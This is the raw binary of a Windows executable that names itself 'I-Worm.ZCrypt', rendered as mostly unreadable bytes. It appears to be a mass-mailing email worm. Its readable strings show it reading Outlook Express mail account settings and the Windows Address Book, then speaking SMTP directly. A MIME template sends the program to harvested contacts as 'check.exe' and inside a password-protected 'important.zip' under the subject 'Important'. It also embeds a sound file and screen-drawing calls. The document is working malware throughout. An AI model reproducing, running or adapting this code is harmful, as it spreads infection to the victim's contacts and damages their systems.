MZP               @                                      	!L!This program must be run under Win32
$7                                                                                                                                        PE  L \,          
   N                  @               
                                               p                               |                                                                                  CODE           
                    `DATA     P       H                 @  .idata      p      X              @  .reloc            \              @  P                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        h  h  @ j   O  I-Worm.ZCrypt`^@ P3d0d   !@ hA*@   A*@ f~    I  hA*@ h      h!@ h!@ h!@ h(!@   uih&"@ h!@ h!@ hT!@   uLh*#@ h*"@ h!@ hT!@   u/h2$@ h.#@ j h!@ t  u  u      o  R  5$!@ Nd+v`Qƀ~ uV6$@ WjHYfX^    $YVj jj  $@ f~$@  f f$@ h!@   t3@  $@ j~$@ P5$@   u   5$@   ^V).@     w  -.@    X  c  =.@    D  h*"@   Ⱦ*"@ .     .@   *  	   H.@   ^VV  P     .@     X^V>.jp u).@ Q.@        W.@      h*"@   Ⱦ*"@   ].@      ^VVf  z  =).@  u   c.@ b  =   0@ Q     f  0@ 4V  2     0@ #  .@      j^+  t&]/@       5!@ VV  ^   :h*@   Ⱦ*@       	0@    5)@ VV  ^   0@          y.@          |.@ v      ^5!@ 5 !@ 5$!@ O  J  E  3Sh   jSjh   h.#@   @t*H!@ SSSjSP   !@ SSSjP  $!@ 33Hj QV5$@   j h   h$@ 5$@   @t
=   t33H   3h!@ jSuh    u+uuSSu5!@   u5!@   3 3H h!@ h  @    h)@ h(@    3   3Sh   jSjh   u  @   H!@ j 5!@   !@    jh 0  Pj   !@ j h!@ 5!@ P5!@   t>!@ jh 0  Pj   ]5!@ P5!@    5!@   3 3H    u}3}ujY==  M}ufjYj=ZmjY3Nmȋ%   @ Iu} u« ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/3SSjSjh   h  @   !@ j 5!@   )@ )@ )@ )@ *@ 9*@ jh 0  Pj   j h!@ 59*@ P5!@   5!@ j  h(@ h  g  tjh(@ h(@ $  3Sh   jSSh   @h(@   !@ O   j'Y)@ -   9*@     jMYh)@ Z   5!@   33Hj h!@ QR5!@   `   jY *@ V   W  5ﾭޫf)@    )@ )@ O_)@ 1*@ 4f2''   Ga`)*@ 4   У)*@ -*@ @-*@ 1*@ 	   У1*@ ajY5*@ =*@ RVjZ5*@ 2аs u^Z`jY *@       aaR13!@ H!@ 3Zdg  aj    j   te1@ j   1@ Pj   1@ [1@     Ph   51@ P51@ P51@    1@ X91@ tjj h1@    i%q@ % q@ %$q@ %(q@ %,q@ %0q@ %4q@ %8q@ %<q@ %@q@ %Dq@ %Hq@ %Lq@ %Pq@ %Tq@ %\q@ %`q@ %dq@ %hq@ %lq@ %pq@ %tq@ %xq@ %q@ %q@ %q@ %q@ %q@ %q@ %q@                                                                                                                                                                                                                                                                                                                                                                                   C#            Software\Microsoft\Internet Account Manager Software\Microsoft\Internet Account Manager\Accounts\         	   Default Mail Account SMTP Server SMTP Email Address Software\Microsoft\WAB\WAB4\Wab File Name                                                   2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        666.zip                                                                                                                                                                                                                                                                         PK    ((            	   check.exePK     ((            	                 check.exePK      7   '     Password: xxxxxxxx xV4gE#xV4                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HELO localhost
MAIL FROM: RCPT TO: DATA
FROM: 
TO: 
SUBJECT: Important
.
QUIT

MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary-fuck"

--Boundary-fuck
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit
Content-Description: Mail message body



--Boundary-fuck
Content-Type: application/x-msdownload; name="check.exe"
Content-Disposition: attachment;  filename="check.exe"
Content-Transfer-Encoding: BASE64




--Boundary-fuck
Content-Type: application/zip; name="important.zip"
Content-Disposition: attachment;  filename="important.zip"
Content-Transfer-Encoding: BASE64


--Boundary-fuck--


SUBJECT: =?ISO-2022-JP?B??=
1@ 1@ 21@ C1@ T1@ q1@ 1@ 1@ GyRCPUVNVxsoQg== UmU6GyRCPUVNVxsoQg== GyRCJSYlPSUzGyhC GyRCJCYkcyQzGyhC GyRCQmc7diRKJCpDTiRpJDsbKEI= GyRCNktIaxsoQg== UmU6GyRCNktIaxsoQg== GyRCJCokYiQ3JG0kJCRiJE4kciRfJEQkMSReJDckPxsoQg==                 RIFF05  WAVEfmt      +  +    fact    5  data 5  xv}}~~nqlx~}}~~}}X}tqvnnvxqqla~UUl_xv`tqvgvnN_ZeMtx_qq`jKjKQ_KvUlnl~vt~ltU}8NƊAAj8l3AȈG2ǡnFXaFqUeqjv~jx~~~tUnUjg>)a)Fǃ()vUGelZlxqjqxxxxleGtn)qW)ƿ))Ƞ~MWvvtZ}nx~}vv~xx}x~UaNMvMj~)ex}:W_3:xǏZ8N~~}l`nljt}nt~tt~vWl~KZqnglnGZWAaqG8ZѺK/WZQaxxjglt}qggt~e8X>Aȃ.9Ɩ3#ҳKݺF.Ѿ`(/tF:aW3Ke9GǊW(:͵nFFj~}gq~xnxavvG`Ȧ8#eѠ/W׀.&Έ8MҊ&#ȹB:~X_}eqeegg}tvvagQlttXvx`WQt~W3`gGMj~jvn~tlQUjǹ)>j3(ص( /οe:F#K&F& Xځ)q׏K.BGƩWQ`jgWAKѯgMQanƔ~jUMnסUB>Z`BKUGFlx}lXgq`8#Gt&F͙9e~)>(xMaA3 ѯvZMZaBev~}v`Xjרe>.Fx>(>׹~83exqnWa}Ѩj: Qݵ~:&)8&Nvj#WҾB9 N8
lq 3xBNQNQ}3ݾ(2ǳ: Fvǯv).`tKغGq҂
 غ2&&aؖ(j .ҿA Q(}j  #xn8׵#BQn( At2/U_&e>.&.¿8)G}
ڹFl
)( ׾3B.Ȧ(Nx }3 #
Ng/#)ڲA M:ڒ`A3/׺. jƙ> 9ƿ#>Ǩ##>݌l:
&xџG>xxx}}xj>K8B N~U
 _X WWjMvG B W33j8.nQQMjƵvXA:8MFB
F>&WM3B:398U¾Z.:ѳ&}Ⱥ>
ؾK.`~vjvGjt(eؠ#(ͯƹ&#qZ B(  9͏A8e:)2; &aȾq  M }ҏaN/Kҏ`U8Aͦt(/BΠ. ڿ&2 ` 9    q n2
 ::t8/N:>XΖajjv͊Q_XZξWGKǵ9 9ݹM(/`ƹ&(/ξ9/8~B/gҾM/jGa)  
WA
 )XGєgK  #  (  .  / >  F ~Q 3&β#&  
 v `>ҡB(n9&)e
  q3. K#lN3A/#gF ¡/&tG33 )κBο 
ھ Ғ vAKQѺ BǾj ǲZ:   AUG &Ѧ t2   X: . 8t:N8tB3:Ʋ(&
Bnγ/ 9/FƟq )Ѩ /   >G   j2 t  n/
&ڊ 3
(x
Ȧ8~UF ltMnN_ej>U &`ǾNǺ&j83ײe(ס  W3   NM 8 KX9יZ/vQ>_A39t#)Ⱦ((WQ(ƀ>.##~/
  F3v3)29βvγ8)ڃ   &W 8 qM.8tK3N9vB/>l ѳ3WN93~:.¯(.KƾG/3³/3ȯ 9ͺ.gȔ>.؛  n&Ҁ «)_. 8͵}#࿦nؿ .eǊ(Ѩ Z8    /Gݦ
q a  Z( aђ ѩ
 /a    n3NGљ9N   q2  q 9ݨAvW#UlUQjUGvM8(/ G`׳8&~B2t) NǹZ#/923:2׳aݺ::Ǻj Ȗ ؿ B8   n 2G    _At#ѦA> ¹/ N:#qҳ)~FjA2G3 /X Ȃ(#ǹ /ѩ
#X׺A lݟݡ
q 9. U~ F. M l. >ȁ/(͙
 g. A_/_:)g>͈B2WG3Ⱥ3Q}2Ɵ>)B9 .tBB)Z93e2Aǵj 3ݿxנ~ j  M M  /
xݡ:#ƫ32G#) tο&GA 9 ZXZQBlM9`M#:vƖ#¾º(a39Nq    (Z:.WxM)lF:ѵg MFa3nMvF/vF89A3A29v)9Xǩ38AƾU#>ƹv 3ǖ ҫ
nF./9.Bq   n3U9):¾B.Qݿx͟~ؿ G3/A  U#׿a# ן }
 K ))  U
 2
2&ѺZ /:Zt2ђ()8v濡 W &Qt&ǃ&.Ϳ~&͊  K 3a
   F (  Z    e Q 3)  Z   )n(K)2A#` 
 vK
.88A8ѿF(_    U (AAQ~
  `  3(8& 3( W     (}#X&
39(W )v#
e)W3
Gݾ:#U     x a)93
>aڀڏ t(N8#>A&2Kg݊ Ҡצa F# 3 U  v    `( 3G  GNZ n) / ~ݛBxҒB}ݔB`N(MK2K.&F/(>&K)N3.W:3X2)t&t.e8
M>
3U)`/&g8j9qB~ׁF(}ׁAt.`.UG:Z 9`8A`:MW>ZU9a_:eqt>ea~QW`ǌ_QjeMveN~_Q~gU~tjj}Qg3X2M~Ρ8Baγ>8Gg8AvGWg9_͔X NҫaBع`
9ھt3̓
#ѡ
 ; ƿ(#  }3eW)nZ>xZ2ng#Nײt8ξ.ȵ2Ⱦ.Ѿ &ǩ 
Ҳ ڵ ~ݯ t U( 9B #g    n(j3t3  t) W9 G9BAFF
FMBUF`Fl(  }( g9 NU >g.} l/ g8(t3&x3 t:nغN#}ͩU3QBNAFBBQ8Q#>&9(3()893A(23293(.Ⱦ ¿#« &()(¯(͹ ǖ Җ ةί
¨¡ѫ ҾͿξ  # (3
#)(¹
)3>B..&µ)#/# #ǡ##ǳǹ#28#:Ѧ#峃心̓ є    ڲ  ݵ       & :ѫ3Ǩ8Ɣ/ǌǟ(&ǌƠ/F(K3>Bj(:j(9Z2QF2a>9v/2~3/83Ǚ (Җ&ؠݳ ݺ Ʃȯ ѫ د    ؾҲ ͲΨةѯƵͳ ҳ׹ҿ~~ ~ v& t) ~2
2/ 98¹.
2#³#¿# (v.B`/UM3e>338>A&8ǳ .³)2ƫ)BκA3у
.ᔔ
晠ᖟ##ᔟ 쒙 ꖒ#(Ꙍ
#栙&ݠ#ږ(ݛ#ࠁ#ݛ~)ݛj)g (g #_ #e #` #X ` g `  Q M F M #> .9 2/ 3/ /A 3> 9B (X &_ 2a 3g /g )j &j &t &~  & . 3~:}~FvBtUq)gt݂9gnׁKveǀaXxa~xevvntltv~nnlxnqleetjlng__vgWGlvUBaҀW9WڀW8UU8NQ B_>aBg:g 8q .v #x &} )~ )р &  x            x q v q j g n g Z a g j  j
 a `  Z) X> Q_ KvKKvQtUgN`FW>G22(/(A9/MF9MA:F8AK8BN>FxXNZqUWgqצMXjqȠZgnngnnqgnexlXxvZ}xWx}vW}tZnWlXtjjn_eWQeKWn}~eavn`_tgWQv`ZQtWaQqMaNtMe_QaXX_UtanUjl~،XUavZ9Nv`8/jx>eF`MlשNlѿUg_j_laq_#vW
`j}  M/ v     g 8M v҈ ؒ 
 jM(Bݡ93ݟZ.t(堁 ꠒ
ꡛꦡx沨Zྲ.NؾGFͿNAƯW
:ǳj8͹~.ƺ)/ 2v2.GK.3a(.ƀ(#.)ǩ#Ǻ/ǳ/ε)q8 BeǛ¿ǿ#aB3qҙҫҳίnΫWѯ/AҲU 3Ѩq&)Ρ##ѨΩ2#qȨW/Uǟ}8F3:2339FBjGBXM>M_:8Ǐ>#ͿAtM3~#׳## t(U8 2` ݌
lQ)/NΊ  ͳ( 3 G`ǖ ͺ   `G :q(݊ݾeZث
 ݯU F׹ 3gǒ:ǵ)3n`:G::qGAKB/tG2Bl:}ݾMQW~ 2 j>  W     8(      Z q ѡ  ѯ Bڹl 3ؿ .qѺ39BȾ~>8>8lt:>A3Z9MA(F.Gג9N G
 a.    2lίaͯF.ƫ#Ʋ:)A99K:2:#xa)8e݀&A؏ / 9ҫ3
&ǲN¾}/Q(/
M `A   (׃ 
صA
9ο(>822ơBK M   )Ҍ Zєx 8jtXU`AQ/v FB  x  
  9柌.:`aQ>~e .  /  ׳x(j:F)}(U.G. a99#KB>
/ҫ#3µFMKB at
 )W.9e2 n >ڲA3A/n  #U&MFaµF9:F_ݲ`M#~   #ݺFAM33lF
3U_Q  tFMAQ
t݈(&8BQK#&B  BN2> F`݈~_//>Q
8BѹM9ݙMBA:A 3QK9N&Zǟ_ZXe_gl`XvX8(ZȯQge`U_v) BnxZUjUKXatx#Q}Z:#Zxv}K9MgnaUK_Xv~lxa9Qj}l`xͿX2GU`¡xW:/UjeeѺq(8FxF 3ڟgWG~& QqƒN2NxnNBt`v}(QlxvtƒNGve& XѦt(.KttxnZ³NBgQWQ_ةKBQ.GW}qWvFNƛjZ_#e~Nj~v}~_B>Wjq_8aΫM :ڿlqƩ}WKv~ZQqtlnANt~~evtt}xqlv~agx}_alvqg}~tne_nl`_txnXQK_}qx}vxxeqUFnj~nx`WnxB9_~}tv~jnxnqn~xlQej`qqtqtn}}}vq~xn~WXlqvqjqtgqvjUejXel}e`n`WF}a/FtvxqenZ`t~t~_8G}ga}`avnZXtnNUjt_lgjZ`je~NAMgNg~}vee}~v_Q`vX`~tvq~}~~x}eZexenttxtxx~}}~lZjZ_qx}eNMx~_Wttve~~q~tXW}KajqeQggXj~~Xaqt}qea}`Qn}ltg``nl}}~}vejeet}vvlQQ}}egqXtlF_jntW`g_qajF9UqMaUGlZQgxnZgt_Weal~}qxqgnn~tWXljjnn}xx~}~tjej~enqX_t``nvZGW}gqqq}vj_tlqqvtjj~tgt~tv}vnl}qqvlgel~`GKn~nt}~agvxeleN`t~jjqvxv}tjqgjtn`exx~qaeqZl}eqv`Xx~xtvje}ljgvat~t~ngjxnqje`~vjn`gZ`g}xZ`qj`et}v}tgeq~}xgqjexqltXjeWnxtxn}}nal~ngvZGt}_jgveMZ`U~eAMqWZglZg}lqvqql}}vge~talxl~jZe~`WXgavnjtvgF`taeU}~U`~~qltxgj}gaxv_a}~gnxjx~ne`nx}~}vt~nqv}~vjtx}t}}q~xv}}~~xx}xtnqxlj}}t~tn}qxjnxxx}~ZKeteqvg~xag~vntqjqqlxqe~qjxxq}}valvn}_Wljqjglqjlxx~vntvxlqvtqj~}``n}xv~~}nl}a`txt~vltxt}~~vlv}}}}vxtxx~}~qtvl`q~~}qgvvlqxvaat~qnvvq}qv}}~xx~txtgtvx~~x}}~vjqx~xtxx}xqqlneUX~tqjgvxnXj~~t}tt~vtv~qlvlevxggx~~txtvx}~xx~~~tx~~}vggqvtx~qlxxntvttnx}~~}~~}nvq~qq}xggv~tqtavlqx}}jnxqx~~}x}t~~}}vlqvnqvxvl~}qxg`lvt}}~ljt}vx}}}~txqntxxtjq}~}}~}v}}naq}vlq~~vqq~qjt~jevtltx~~nn}vlgx}v}nq}~~}ngvqlv~~vtx~xnv}}x~~xvxvtt}~}~xvllx~}~~~}~~vgl}tt}~}v}~tv~qgq}}~xxx}nn}}v~qq}vlvx}xnx}xvtttx}}~x~x}}~}x~}~~~~~txvlnxxx~~}laqv}}}~}}~~ttx}vt~}~}~~}vx}tltxxxxxx}}}}xxv~xt}~}xx~~}xtxqgn}vx}x~}xt}~}~~}}~~x~xx~}}~}~~}x}}~~~~}~~}xx}~}x~~}x~}v}}~}}~xqq}}x}~vxx~~~}~~~vv}}}}v}~}}~~}x~}~~~~~}~~}}}}~qq}~}vx}~tq}~~xx~x~~}~}x~~vnv~x~~xx~vt}}x}qn}~}xx~}}}}tx~}~xtt~xqt~~}}~~}~}vx}~x}}v}}}}xx}~}~xv~~~~~~~~~~~~}x}~}~~x~~~~vx~~x~~~~~~x}t~tt}}x~}vx~}~~vv~x}~~xx~~vv~~~}vvxx}~x}~x}~~}~}}}}~}x~x}x~}}~~x~x}}tv~~x}}~vt~~}}x}t}}v~~}x}~~~xxvt~~}vx~xxx~}vv}}nt~x}~~}}xqqtx~}vx}~~~~xx}~~~~}xx~~xv~vtv~~vx~~~~}vx}~}~}}~}x}xx~}xx~~~xvx~vx~~}~~~~}vv~~~~~}~~}}~~~}~~~}}~}}~~}~}~}}~~~~vx}}~~x~~x~xx~}}~~~~}}~x~~~~~x~~}~~x}~}~~~}~~~}x~~}~}xx~~}x~~~~~}}}~~~~x}~~~~~~~~~~}x~~}~}x}~}~}x}}}~}x}~}~xtx~}~}}~~~~~~}}~~~x~~~~}xx~~~~~~~~~~x}                                                                                                                                                                                                                                                p          q  q  p          q  \q  p          q  q   q          q  q  q          q  q  q          q  q                      q  r  r  "r  0r  :r  Pr  ^r  lr  |r  r  r  r  r  r      r  r  r  r  r  s  s  "s      0s  Ds  Rs      bs  vs      ~s      s      q  r  r  "r  0r  :r  Pr  ^r  lr  |r  r  r  r  r  r      r  r  r  r  r  s  s  "s      0s  Ds  Rs      bs  vs      ~s      s      KERNEL32.dll WSOCK32.dll ADVAPI32.dll USER32.dll GDI32.dll WINMM.dll    GetModuleFileNameA    lstrcat   MapViewOfFile   CreateFileA   lstrlen   CreateFileMappingA    GetFileSize   CloseHandle   GetTickCount    GetTempPathA    ReadFile    GetLocalTime    VirtualAlloc    ExitProcess   WriteFile   socket    send    recv    connect   closesocket   WSAStartup    gethostbyname   WSACleanup    RegQueryValueExA    RegCloseKey   RegOpenKeyExA   GetSystemMetrics    GetDC   SetPixel    PlaySound                                                                                                              `  0=0B0L0f0}0000000000000001%1R1Y1g1l11111111111202P2U2i2x2222222233.3D3P3_3j3~333333*033
44+4=4C4d4444444445!5(55.555C5_5f5q5=6G6O6Y6^6f6k6q6v6666666666677#767>7R7s7777777777777	8.8L8R8{888888888888 999999$9*90969<9B9H9N9T9Z9`9f9l9r9x9~9999999   0     00000 111                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        